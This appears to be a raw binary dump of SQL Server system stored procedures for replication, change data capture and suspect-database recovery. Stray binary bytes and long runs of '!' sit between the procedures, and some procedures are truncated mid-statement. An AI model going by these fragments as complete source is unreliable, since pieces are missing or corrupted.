--		@owner			== table owner
--		@table			== table name
--		@columnmask		== mask identifying columns in article
--		@rowfilter		== row filter
--
-- Returns:
--		Return rowset with a single int value (0 for valid filter clause, 1 for invalid filter clause)
--
--		Return code (0 for success, 1 for failure)
--
--		NOTE:  Failure to provide a valid filter clause is not a failure
--		       with respect to the return code.
--
-- Security:
--		public -- call must be sysadmin
--
-- Notes:
--		This stored procedure is provided so that user interface can
--		pre-validate a user supplied filter priot to using it when
--		publishing an article.
--
--      If @columnmask is NULL, it is assumed that all columns of the
--      table are published.  If not secified, @columnmask defaults to NULL.
--

CREATE PROCEDURE sys.sp_IHValidateRowFilter
(
	@publisher		sysname,
	@owner			sysname,
	@table			sysname,
	@columnmask		binary(128) = NULL,
	@rowfilter		nvarchar(max)
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	--
	-- Security Check: require sysadmin
	--
	IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
	BEGIN
		RAISERROR(21089,16,-1) 
		RETURN (1)
	END

	--
	-- Parameter Check: columnlist and rowfilter must be non-NULL
	--
	if ( @rowfilter IS NULL)
	BEGIN
		RAISERROR (21784, 16, -1)
    		RETURN (1)
	END

	SET @retcode = 0

	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT,
													@hreplOnly		= 1
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Error if the publisher is not an Oracle publisher
	IF @publisher_type NOT LIKE 'ORACLE%'
	BEGIN
		RAISERROR (21696, 16, -1, @publisher, @publisher_type)
    		RETURN (1)
	END

	set @cmd = @cmd + N'sys.sp_ORAValidateRowFilter'
	
	EXEC @retcode = @cmd	@publisher,
				@owner,
				@table,
				@columnmask,
				@rowfilter,
				@publisher_type
	RETURN (@retcode)
END
0 8
create procedure sys.sp_MSinserterrorlineage 
    (@tablenick int, 
     @rowguid uniqueidentifier,
     @lineage varbinary(311),
     @compatlevel int = 10) -- backward compatibility level, default=Sphinx
as
    declare @retcode int
    
    -- Security Checking 
    -- PAL users have access
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @tablenick = @tablenick
    if (@retcode <> 0) or (@@error <> 0)
        return 1
    if @compatlevel < 90
        set @lineage= {fn LINEAGE_80_TO_90(@lineage)}

    if exists (select * from MSmerge_errorlineage where tablenick = @tablenick and
                rowguid = @rowguid)
            update MSmerge_errorlineage set lineage = @lineage where tablenick = @tablenick and
                rowguid = @rowguid
    else
            insert into MSmerge_errorlineage (tablenick, rowguid, lineage) 
                values (@tablenick, @rowguid,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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<`
^FS06@ 	8create procedure sys.sp_MSscript_sync_upd_trig (
    @objid        int,
    @publisher    sysname,
    @publisher_db sysname,
    @publication  sysname, 
    @trigname     sysname,
    @procname     sysname,
    @proc_owner   sysname,
    @cftproc      sysname,
    @agent_id      int, 
    @identity_col sysname = NULL,
    @ts_col       sysname = NULL,
    @filter_clause nvarchar(4000),
    @primary_key_bitmap  varbinary(4000),
    @pubversion int = 1,
    @falter bit = 0 -- if 1 script alter, otherwise script create
)
as
BEGIN
    declare @colname      sysname
        ,@cmd          nvarchar(4000)
        ,@ins_cmd      nvarchar(4000)
        ,@outvars      nvarchar(4000)
        ,@rc           int
        ,@qualname     nvarchar(517)
        ,@fisqueued       bit

    set nocount on
    --
    -- security check
    --
    exec @rc = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @rc <> 0
        return (1)
    exec sys.sp_MSget_qualified_name @objid, @qualname OUTPUT
    if (LOWER(@cftproc) = N'null')
    begin
        select @fisqueued =  0
            ,@cftproc = NULL
    end
    else 
        select @fisqueued =  1

    if @ts_col in ('null','NULL')
        select @ts_col = null

    if @identity_col in ('null','NULL')
        select @identity_col = null

    -- Create temp table
    create table #proctext ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)

    -- 1st preamble common to all synctran procs
    exec sys.sp_MSscript_begintrig1 @publisher, @publisher_db, @publication, @trigname, @objid, @procname, @filter_clause, 'upd', @fisqueued, @falter, @agent_id

    -- 2nd preamble common to all synctran procs
    exec sys.sp_MSscript_begintrig2 @publisher, @publisher_db, @publication, @objid, 'upd',@agent_id, @fisqueued

    -- script single row handling
    exec @rc = sys.sp_MSscript_singlerow_trigger @objid,@publisher, @publisher_db, @publication, @procname, @proc_owner, 
            @cftproc, @identity_col, @ts_col, 'upd', @primary_key_bitmap, @pubversion

    -- script multi-row handling
    exec @rc = sys.sp_MSscript_multirow_trigger @objid,@publisher, @publisher_db, @publication, @procname, @proc_owner, 
    @cftproc, @identity_col, @ts_col, 'upd', @primary_key_bitmap, @pubversion

    -- script end of trigger
    exec sys.sp_MSscript_endtrig 

    -- send fragments to client
    select procedure_text from #proctext order by c1 asc
END
0@ m8
--
-- Name:
--		sp_MSrepl_MSSQLdatatypes
--
-- Description:
--		Define MS SQL data types
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		Internal
--
-- Notes:
--		
--

CREATE PROCEDURE sys.sp_MSrepl_MSSQLdatatypes
(
	@dbms		sysname = 'MSSQLSERVER',
	@version	sysname = NULL
)
AS
BEGIN
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'bigint'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 4, @type = N'binary'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'bit'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 4, @type = N'char'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'datetime'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 3, @type = N'decimal'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'double precision'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 1, @type = N'float'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'image'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'int'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'money'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 4, @type = N'nchar'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'ntext'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 3, @type = N'numeric'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 4, @type = N'nvarchar'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'real'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'smalldatetime'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'smallint'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'smallmoney'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'sql_variant'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'sysname'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'text'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'timestamp'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'tinyint'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'uniqueidentifier'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 4, @type = N'varbinary'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 4, @type = N'varchar'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'xml'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'varchar(max)'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'nvarchar(max)'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'varbinary(max)'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'date'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'time'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'datetime2'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'datetimeoffset'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'hierarchyid'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'geometry'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'geography'
END
0j 8
--
-- Name: 
--		sp_MScheckprocexec
-- 
-- Description: 
--		Checks to see if 'proc exec' should be disabled, the following conditions will cause the disable:
--		1. CDC enabled database
--		2. if any table in the database is in initiated state
-- 	
-- Parameters: 
--	 	See the procedure definition.
--
-- Returns: 
--		0 - succeeded
--      1 - failed
--
-- Result: 
--		None
--
-- Security: public procedure 
--	no security check as this is in user 'proc exec' code path and it does not expose any useful information 
--
create procedure sys.sp_MScheckprocexec
(
	@fDisableProcExec				bit output
)
as
begin
	declare @retcode int

	select @fDisableProcExec = sys.fn_cdc_is_db_enabled()
	if @fDisableProcExec = 1 
		return (0)
		
	-- only retrieve the data if the database is published. return 
	-- error since this should not be called on non-published db
	if sys.fn_MSrepl_istranpublished(db_name(),0) != 1
    begin
		select @fDisableProcExec = 0
		return 1
    end

	-- check if any subscription is in initiated mode
    if exists (select *
				from syssubscriptions 
				where status & 0x3 = 0x3)
	begin
		select @fDisableProcExec = 1
	end

    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!K
`~	<
J0pc2 8
create procedure sys.sp_foreign_keys_rowset_rmt
(
    @server_name                sysname,
    @pk_table_name              sysname = null,
    @pk_table_schema            sysname = null,
    @pk_table_catalog           sysname = null,
    @foreignkey_tab_name        sysname = null,
    @foreignkey_tab_schema      sysname = null,
    @foreignkey_tab_catalog     sysname = null
)
as
    select
        PK_TABLE_CATALOG,
        PK_TABLE_SCHEMA,
        PK_TABLE_NAME,
        PK_COLUMN_NAME,
        PK_COLUMN_GUID,
        PK_COLUMN_PROPID,
        FK_TABLE_CATALOG,
        FK_TABLE_SCHEMA,
        FK_TABLE_NAME,
        FK_COLUMN_NAME,
        FK_COLUMN_GUID,
        FK_COLUMN_PROPID,
        ORDINAL,
        UPDATE_RULE,
        DELETE_RULE,
        PK_NAME = null,         -- ISSUE these 3 columns must be exported by the server
        FK_NAME = null,         -- in \yukon\sql\ntdbms\msql\ddl\sysoledb.cpp :
        DEFERRABILITY = null    -- const SCHEMA_COLUMNS xCol_FOREIGN_KEYS = {
    from
        sys.fn_remote_foreign_keys (@server_name,
                                    @pk_table_catalog,
                                    @pk_table_schema,
                                    @pk_table_name,
                                    @foreignkey_tab_catalog,
                                    @foreignkey_tab_schema,
                                    @foreignkey_tab_name)
    order by 7,8,9,1,2,3,13
05 8create procedure sys.sp_refreshreplsysservers 
@mode tinyint = 0 --0 called by sp_replicationdboption, 1 called by upgrade/restore
as
begin
	set nocount on 
	declare @dbname sysname
				,@refresh_publish tinyint
				,@refresh_upgrade tinyint
	
	select @refresh_publish = 0
				,@refresh_upgrade = 1
				,@dbname = DB_NAME()

	if (DatabasePropertyEx(@dbname, 'IsPublished') = 1)
		or (DatabasePropertyEx(@dbname, 'IsMergePublished') = 1)
	begin
    	if not exists (select * from sys.tables where name = 'sysreplservers')
    	begin
    		create table sysreplservers (srvname sysname primary key clustered, srvid int null)
			exec dbo.sp_MS_marksystemobject 'sysreplservers'
		end
		else
		begin
	        if exists (select * from sys.columns where object_id = object_id('dbo.sysreplservers') and name = N'srvid' and is_nullable = 0)
    	    	alter table dbo.sysreplservers alter column srvid int null
		end
		
		--if table already has an entry, merge may have called and set it already
   		if not exists (select * from sysreplservers where srvname = UPPER(@@servername))
   		begin
			--don't allow it to setup merge and tran in two different originating source, since we only have on global publishingservername()
	   		if exists (select * from sysreplservers where srvname <> UPPER(@@servername))
	   			and @mode = @refresh_publish
	   		begin
					RAISERROR (22580, 10, -1, @dbname)        
					return (1)
			end
			--upgrade of mirror instance my get here with an entry pointing to principle already, leave it be
	   		if not exists (select * from sysreplservers)
	   		begin
				if exists (select * from master.dbo.sysdatabases where dbid = db_id() and cmptlevel > 70)
					exec(N'insert sysreplservers (srvname, srvid) select UPPER(srvname collate database_default ), srvid from master.dbo.sysservers where UPPER(srvname collate database_default ) = UPPER(@@servername)')
				else
					exec(N'insert sysreplservers (srvname, srvid) select UPPER(srvname), srvid from master.dbo.sysservers where UPPER(srvname) = UPPER(@@servername)')
			end
		end
	end
	else
	begin
    	if exists (select * from sys.tables where name = 'sysreplservers')
    	begin
    		drop table sysreplservers 
    	end
	end
	return 0
end
--
-- Name: sp_vupgrade_mergetables
--
-- Descriptions: 
-- 
-- Process schema and metadata changes common to transactional pub/sub databases.
--
-- @remove_repl is set by sp_restoredbreplication when calling this proc directly to update
-- system tables during restore of a down-level (e.g. - SQL7.0) database to current version
-- 
-- Setup version upgrade procedure call order:
--    sp_vupgrade_replication -> sp_vupgrade_subscription_databases -> sp_vupgrade_mergetables
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
raiserror('Creating procedure sp_vupgrade_mergetables', 0,1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!7`	
<Eu<(ڇ
0 8--
-- Name: sp_add_file_recover_suspect_db
-- Purpose: Adds a data or log file to a suspect database and runs
-- 		recovery on the database.  This SP should only be used
--		on databases that have been marked suspect due to
--		insufficient data (error 1105) or log (error 9002) space.
-- Note: This SP is not documented.  Only sp_add_data_file_recover_suspect_db
--	and sp_add_log_file_recover_suspect_db below are documented
--
create procedure sys.sp_add_file_recover_suspect_db
	@dbName 	sysname					-- database name
	,@filetype	nvarchar(4)				-- "data" or "log"
	,@filegroup	nvarchar(260)			-- file group for new file
	,@name		nvarchar(260)			-- logical file name
	,@filename	nvarchar(260)			-- OS file name
	,@size		nvarchar(20) 	= NULL	-- initial file size
	,@maxsize	nvarchar(20) 	= NULL	-- maximum file size
	,@filegrowth nvarchar(20) 	= NULL	-- growth increment

as
	declare @addcmd nvarchar(max)
	declare @islog	int

	set nocount on

	if (SERVERPROPERTY('IsMatrix') = 1)
	begin
		raiserror (28401, -1, -1, N'sys.sp_add_file_recover_suspect_db')
		return (1)
	end

	-- RESTRICT TO SA --
	if (not (is_srvrolemember('sysadmin') = 1))
	begin
	   raiserror(15247,-1,-1)
	   return (1)
	end

	-- DETERMINE IF THIS DATA/LOG FILE --
	if (upper(@filetype) = 'DATA')
		select @islog = 0
	else if (upper(@filetype) = 'LOG')
		select @islog = 1
	else
	begin
		print 'Must specify data or log file type'
		return (1)
	end

	set implicit_transactions off
	if @@trancount > 0
	begin
	   raiserror(15002,-1,-1,'sys.sp_add_file_recover_suspect_db')
	   return (1)
	end

	-- Check if db exists
	if not exists (select * from master.dbo.sysdatabases where name = @dbName)
	begin
		raiserror(15010,-1,-1,@dbName)
		return (1)
	end

	-- Build the Alter Database Set Emergency string
	select @addcmd = 'ALTER DATABASE ' + quotename(@dbName, N'[') + ' SET EMERGENCY'
	EXEC(@addcmd)
	
	-- Build the Alter Database Add File string
	select @addcmd = 'ALTER DATABASE ' + quotename(@dbName, N'[') + ' ADD'
	if (@islog = 1)
		select @addcmd = @addcmd + ' LOG FILE'
	else
		select @addcmd = @addcmd + ' FILE'

	select @addcmd = @addcmd + '(NAME = ' + quotename(@name, N'[') + ', FILENAME = ''' + REPLACE(@filename,'''','''''') + ''''
	if (@size is not null)
		select @addcmd = @addcmd + ', SIZE = ' + @size
	if (@maxsize is not null)
		select @addcmd = @addcmd + ', MAXSIZE = ' + @maxsize
	if (@filegrowth is not null)
		select @addcmd = @addcmd + ', FILEGROWTH = ' + @filegrowth
	select @addcmd = @addcmd + ' )'
	if (@filegroup is not null)
		select @addcmd = @addcmd + ' TO FILEGROUP ' + quotename(@filegroup, N'[') + ''
	print @addcmd

	EXEC(@addcmd)

	-- Clear emergency-mode
	-- Build the Alter Database Set Online string
	-- note that this will clear Emergency and Suspect and run recovery
	select @addcmd = 'ALTER DATABASE ' + quotename(@dbName, N'[') + ' SET ONLINE'
	EXEC(@addcmd)

	-- Success --
	return (0)	-- sp_add_file_recover_suspect_db
0T@ 8 
-- add it
create view sys.pdw_table_mappings as
select
	object_id,
	physical_name	collate database_default physical_name
from sys._pdw_table_mappings
07 8CREATE FUNCTION sys.fn_ft_thesaurus_files()
RETURNS TABLE
AS
	RETURN SELECT * FROM OpenRowset(TABLE FTTHESAURUSFILES)
0bT D8Uh	'	0d@ T
8 
create procedure sys.sp_cdc_change_data_capture
with execute as 'dbo'
as
begin
	set nocount on
	
	declare @captured_column_list nvarchar(max)
			,@source_object_id int
			,@object_id int
			,@column_name sysname
			,@quoted_db nvarchar(1000)
			,@capture_instance sysname
			,@index_column_list nvarchar(max)
			
	set @quoted_db     = quotename(db_name())
	
	-- This is a request for capture information on all source table that
	-- the caller has select access to
	declare #hinstance cursor local fast_forward for
		select capture_instance, object_id 
		from  #capture_instances
			
	create table #index_column_list
	(
		object_id int null,
		index_list nvarchar(max) collate database_default null
	)
	create table #captured_column_list
	(
		object_id int null,
		included_list nvarchar(max) collate database_default null
	)
		
	open #hinstance
	fetch #hinstance into @capture_instance, @object_id

	while (@@fetch_status <> -1)
	begin
		
		declare #hindexcolumns cursor local fast_forward for
			select i.column_name 
			from  [cdc].[index_columns] i
			inner join [cdc].[change_tables] c
				on i.object_id = c.object_id
			where c.capture_instance = @capture_instance
			order by i.index_ordinal 

		open #hindexcolumns
		fetch #hindexcolumns into @column_name

		if (@@fetch_status <> -1)
		begin
			set @index_column_list = quotename(@column_name)
			fetch #hindexcolumns into @column_name
		end
	
		while (@@fetch_status <> -1)
		begin
			set @index_column_list = @index_column_list +
				N', ' + quotename(@column_name)		
			fetch #hindexcolumns into @column_name
		end

		insert into #index_column_list
		select @object_id, @index_column_list
	
		close #hindexcolumns
		deallocate #hindexcolumns

		declare #hcapturedcolumns cursor local fast_forward for
			select e.column_name 
			from  [cdc].[captured_columns] e inner join [cdc].[change_tables] c
				on e.object_id = c.object_id
			where c.capture_instance = @capture_instance             
				
		open #hcapturedcolumns
		fetch #hcapturedcolumns into @column_name

		if (@@fetch_status <> -1)
		begin
			set @captured_column_list = quotename(@column_name)
			fetch #hcapturedcolumns into @column_name
		end
	
		while (@@fetch_status <> -1)
		begin
			set @captured_column_list = @captured_column_list +
				N', ' + quotename(@column_name)		
			fetch #hcapturedcolumns into @column_name
		end

		insert into #captured_column_list
		select @object_id, @captured_column_list
	
		close #hcapturedcolumns
		deallocate #hcapturedcolumns

		fetch #hinstance into @capture_instance, @object_id
	end

	close #hinstance
	deallocate #hinstance

	select object_schema_name(c.source_object_id) as source_schema,
		object_name(c.source_object_id) as source_table,
		c.capture_instance, c.object_id, c.source_object_id, 
		c.start_lsn, c.end_lsn,	c.supports_net_changes, c.has_drop_pending,
		c.role_name, c.index_name, c.filegroup_name, c.create_date,
		(select index_list from #index_column_list i
		 where i.object_id = c.object_id) as index_column_list,
		(select included_list from #captured_column_list e
		 where e.object_id = c.object_id) as captured_column_list
	from [cdc].[change_tables] c inner join #capture_instances t 
		on c.capture_instance = t.capture_instance 

	return 0
end																
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!


T`=<b6tG0 8--
-- Name: fn_replgenerateshorterfilenameprefix
--
-- Description: This function mimics the algorithm used by the snapshot 
--              agent to shorten any overly long component of a publication
--              snapshot folder with "overly long" defined as more than
--              30 characters in length (as specified in the @truncated_len
--              parameter of this function). 
--                
-- Parameters:  @prefix nvarchar(4000)
--              @truncated_len int
--
-- Notes:
--
-- Returns: nvarchar(4000)
--
-- Security: This is an internal system function.
--
create function sys.fn_replgenerateshorterfilenameprefix(
    @prefix nvarchar(4000),
    @truncated_len int
    ) returns nvarchar(4000)
as
begin
    declare @HashValueIndex int,
            @HashValue int,
            @CurrentByte tinyint,
            @TruncatedString varbinary(8000),
            @i int,
            @TruncatedStringLen int,
            @prefix_to_be_returned nvarchar(4000)

    select @prefix_to_be_returned = @prefix
    if (len(@prefix) > @truncated_len)
    begin
        select @TruncatedString = convert(varbinary(8000),substring(@prefix,@truncated_len-8+1,len(@prefix)-@truncated_len+8))
        select @TruncatedStringLen = len(@TruncatedString)
        select @HashValue = 0
        select @i = 1
        select @HashValueIndex = 0
        while @i <= @TruncatedStringLen
        begin
            select @CurrentByte = convert(tinyint,substring(@TruncatedString,@i,1))
            select @HashValue = @HashValue ^ sys.fn_replrotr(@CurrentByte, -(8*@HashValueIndex))
            select @HashValue = sys.fn_replrotr(@HashValue, @HashValueIndex + 1)
            if @CurrentByte != 0
            begin
                select @HashValueIndex = (@HashValueIndex + 1) % 4
            end
            select @i = @i + 1
        end
        select @prefix_to_be_returned = substring(@prefix,1,@truncated_len-8) 
        select @prefix_to_be_returned = @prefix_to_be_returned + lower(sys.fn_repltrimleadingzerosinhexstr(substring(sys.fn_varbintohexstr(convert(varbinary(4),@HashValue)) collate database_default,3,8)) collate database_default)
    end
    return @prefix_to_be_returned
end
0@ 8


/* Permission to sysadmin - Wrapper to include security check*/
create procedure sys.sp_removedbreplication (
      @dbname     sysname = NULL,
      @type		nvarchar(5) = 'both'	-- 'merge' or 'tran' or 'both' to cleanup.
    ) AS
    set nocount on
    declare @retcode int
    declare @proc  nvarchar(255)
    
    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END
    
    if @dbname is NULL
        select @dbname = db_name()

    IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('merge', 'tran', 'both')
    BEGIN
    	RAISERROR(22551, 16, -1, @type)
    	RETURN (1)
    END
    
    if (convert(sysname,DATABASEPROPERTYEX(@dbname,'status'))  = 'ONLINE')
    begin
        exec @retcode = sys.sp_MSremovedbreplication_internal @dbname = @dbname,@type = @type,@ignore_distributor = 1

	    -- does brute force clean up for merge
	    IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) IN ('merge', 'both')
